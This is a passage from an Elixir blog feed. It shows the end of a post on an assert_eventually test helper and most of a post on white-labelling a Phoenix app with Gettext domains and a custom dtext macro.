&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;result&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;fun&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;ExUnit.Assertions&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;result&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;result&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;rescue&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;ExUnit.AssertionError&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Process&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;sleep&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;interval&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert_eventually&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;fun&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;timeout&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;interval&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;interval&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using this helper, we can check every 10ms whether our async task has updated the file record already:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;async task updates my database record eventually&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;status: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:unprocessed&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# This task processes a file and updates its db record asynchronously.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;MyProcessingTask&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;process_async&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert_eventually&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;status: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:processed&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;reload!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the record isn&apos;t updated within 100ms, our test fails. If the record is updated earlier, our test succeeds. Nice!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to support me, you can buy my firewall for Phoenix &lt;a href=&quot;https://ezsuite.dev&quot;&gt;Phx2Ban&lt;/a&gt; or my &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;book&lt;/a&gt; or video courses (&lt;a href=&quot;https://indiecourses.com/catalog/build-an-mvp-with-elixir-6i4V9yOqLL54GuG0HkV9HR&quot;&gt;one&lt;/a&gt; and &lt;a href=&quot;https://indiecourses.com/catalog/building-forms-with-phoenix-liveview-2OPYIqaekkZwrpgLUZOyZV&quot;&gt;two&lt;/a&gt;). Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;Bluesky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/async-testing-with-eventually"/>
    <id>https://peterullrich.com/async-testing-with-eventually</id>
    <title>Test async work in Elixir with assert_eventually</title>
    <updated>2025-02-05T06:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Welcome everyone to the new year! Let&apos;s start it the right way with a joke:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;What do you call a fruit that magically shows up?
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;A pear
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, let&apos;s dive into today&apos;s topic: How to white-label a software using Gettext domains.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
&lt;p&gt;Imagine you develop a white-label HR software and you want to customise the way your software addresses the &quot;user&quot; depending on the company they work for. Most companies address their workers as &quot;Employees&quot;, but some fancy tech start-ups like to call them &quot;Googlers&quot;, &quot;Metamates&quot;, &quot;Tweeps&quot;, or &quot;Amazonians&quot;. That&apos;s why your boss gives you the wonderful &quot;opportunity&quot; to replace all &lt;code&gt;Employee&lt;/code&gt;, &lt;code&gt;Employees&lt;/code&gt;, &lt;code&gt;Employee&apos;s&lt;/code&gt;, &lt;code&gt;employee&lt;/code&gt;, etc. occurrences with customised terms and to build a solution that will make it easier to onboard future clients.&lt;/p&gt;
&lt;p&gt;Your first thought might be to build the quick-and-dirty solution of adding &lt;code&gt;if-else&lt;/code&gt; statements &lt;strong&gt;everywhere&lt;/strong&gt;. That closes the ticket quicker and impresses your manager, but it also makes it a pain in the butt to add new text, to maintain your templates, and generally just feels wrong. Since you&apos;re an experienced engineer, you know that quick-and-dirty solutions are often quick-and-thoughtless solutions, which get you only so far before your house of cards collapses. So, you halt and take a minute to think of a better solution.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-better-solution&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-better-solution&quot;&gt;&lt;/a&gt;The (better) Solution&lt;/h2&gt;
&lt;p&gt;After a few minutes of thinking, you realise that you&apos;re trying to reinvent &lt;a href=&quot;https://hexdocs.pm/gettext/Gettext.html&quot;&gt;Gettext&lt;/a&gt;, which replaces strings in your templates based on a user&apos;s locale. In your case, you need to replace the strings based on the user&apos;s employer. You skim the Gettext docs and realise that &lt;a href=&quot;https://hexdocs.pm/gettext/Gettext.html#module-domains&quot;&gt;Gettext Domains&lt;/a&gt; is exactly what you want. You could define default strings like &lt;code&gt;Employee&lt;/code&gt; and let Gettext replace them with a domain-specific &quot;translation&quot; based on the user&apos;s company.&lt;/p&gt;
&lt;p&gt;Your first implementation is simple. All you need to do is to make the following change anywhere you wrote e.g. &lt;code&gt;Employee&lt;/code&gt;:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-diff&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# e.g. page.html.heex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #f85149; background-color: #2c171b;&quot;&gt; &lt;h1&gt;Welcome &amp;lbrace;gettext(&quot;Hello Employee&quot;)&amp;rbrace;&lt;/h1&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #3fb950; background-color: #10231c;&quot;&gt; &lt;h1&gt;Welcome &amp;lbrace;dgettext(@domain, &quot;Hello Employee&quot;)&amp;rbrace;&lt;/h1&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, you create a new &lt;code&gt;PO&lt;/code&gt; file for each company at &lt;code&gt;priv/gettext/en/LC_MESSAGES/*&lt;/code&gt;, for example &lt;code&gt;meta.po&lt;/code&gt;, and add the following translation to it:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-diff&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# priv/gettext/en/LC_MESSAGES/meta.po&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;msgid &quot;Hello Employee&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;msgstr &quot;Hello Metamate&quot;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, when you open your website as a Meta employee, you should be greeted with &quot;Hello Metamate&quot;. It works! Hurray!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-even-better-solution&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-even-better-solution&quot;&gt;&lt;/a&gt;The (even better) Solution&lt;/h2&gt;
&lt;p&gt;While applying the change described above, you realise how tedious and error-prone it is to manually add all occurrences of &lt;code&gt;Employee&lt;/code&gt; to your &lt;code&gt;PO&lt;/code&gt; file. You think: &lt;code&gt;There must be a better way!&lt;/code&gt; and you&apos;d be right!&lt;/p&gt;
&lt;p&gt;The big problem with the solution above is that Gettext won&apos;t automatically extract the domain-specific strings from your template and add them to your PO file, like it does with e.g. &lt;code&gt;gettext/1&lt;/code&gt; calls. The problem is that you call &lt;code&gt;dgettext/2&lt;/code&gt; with a dynamic domain at runtime and Gettext extracts the strings at compile-time. So, Gettext doesn&apos;t know for which domains it should extract the string. Thankfully, there&apos;s an easy solution for this problem.&lt;/p&gt;
&lt;p&gt;The smart minds behind Gettext have thought about this situation and added the &lt;a href=&quot;https://hexdocs.pm/gettext/Gettext.Macros.html#dgettext_noop/2&quot;&gt;dgettext_noop/2&lt;/a&gt; macro. This macro manually marks a string for extraction and instructs Gettext to extract it when you run &lt;code&gt;mix gettext.extract&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Using the macro isn&apos;t as easy as calling &lt;code&gt;dgettext/2&lt;/code&gt; in your template, but it&apos;s not rocket science either. Have a look at the following macro, but don&apos;t be sad if you don&apos;t understand it, because I don&apos;t either (but it works!)&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# demo_web/domains.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;DemoWeb.Domains&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;require&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Gettext.Macros&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;domains &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;default&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;meta&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;google&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defmacro&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;dtext&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;domain&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;noops&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      &lt;span style=&quot;color: #ff7b72;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;d&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;unquote&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;domains&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;        &lt;span style=&quot;color: #ff7b72;&quot;&gt;quote&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;          &lt;span style=&quot;color: #ffa657;&quot;&gt;Gettext.Macros&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;dgettext_noop_with_backend&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;DemoWeb.Gettext&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;unquote&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;d&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;unquote&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;        &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;      &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;quote&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;      &lt;span style=&quot;color: #ff7b72;&quot;&gt;unquote&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;noops&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;Gettext&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;dgettext&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;DemoWeb.Gettext&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;unquote&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;domain&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;unquote&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I wrote this macro based on a suggestion by Kip on &lt;a href=&quot;https://elixirforum.com/t/gettext-translations-are-not-extracted-when-using-a-dynamic-backend/59554/2&quot;&gt;Elixirforum&lt;/a&gt; and got it working with the kind help of &lt;a href=&quot;https://elixirforum.com/t/gettext-translations-are-not-extracted-when-using-a-dynamic-backend/59554/6&quot;&gt;Benjamin (LostKobrakai)&lt;/a&gt;. In essence, it marks a message for extraction at compile-time for all defined domains and calls &lt;code&gt;dgettext/3&lt;/code&gt; at runtime, just as before. There&apos;s no impact on our rendering performance either, because the &lt;code&gt;dgettext_noop_with_backend/3&lt;/code&gt; functions are only called at compile-time and not at runtime. So, for our runtime, they don&apos;t even exist.&lt;/p&gt;
&lt;p&gt;You can make the new &lt;code&gt;dtext/2&lt;/code&gt; function available to all templates by importing the &lt;code&gt;DemoWeb.Domains&lt;/code&gt; module in your &lt;code&gt;*Web&lt;/code&gt; context:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# demo_web.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;html_helpers&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;quote&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Removed for brevity ...&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Gettext&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;backend: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;DemoWeb.Gettext&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# 👇 Import the Domains module here&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;DemoWeb.Domains&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, instead of calling &lt;code&gt;dgettext/2&lt;/code&gt; in your templates directly, call &lt;code&gt;dtext/2&lt;/code&gt; instead:&lt;/p&gt;
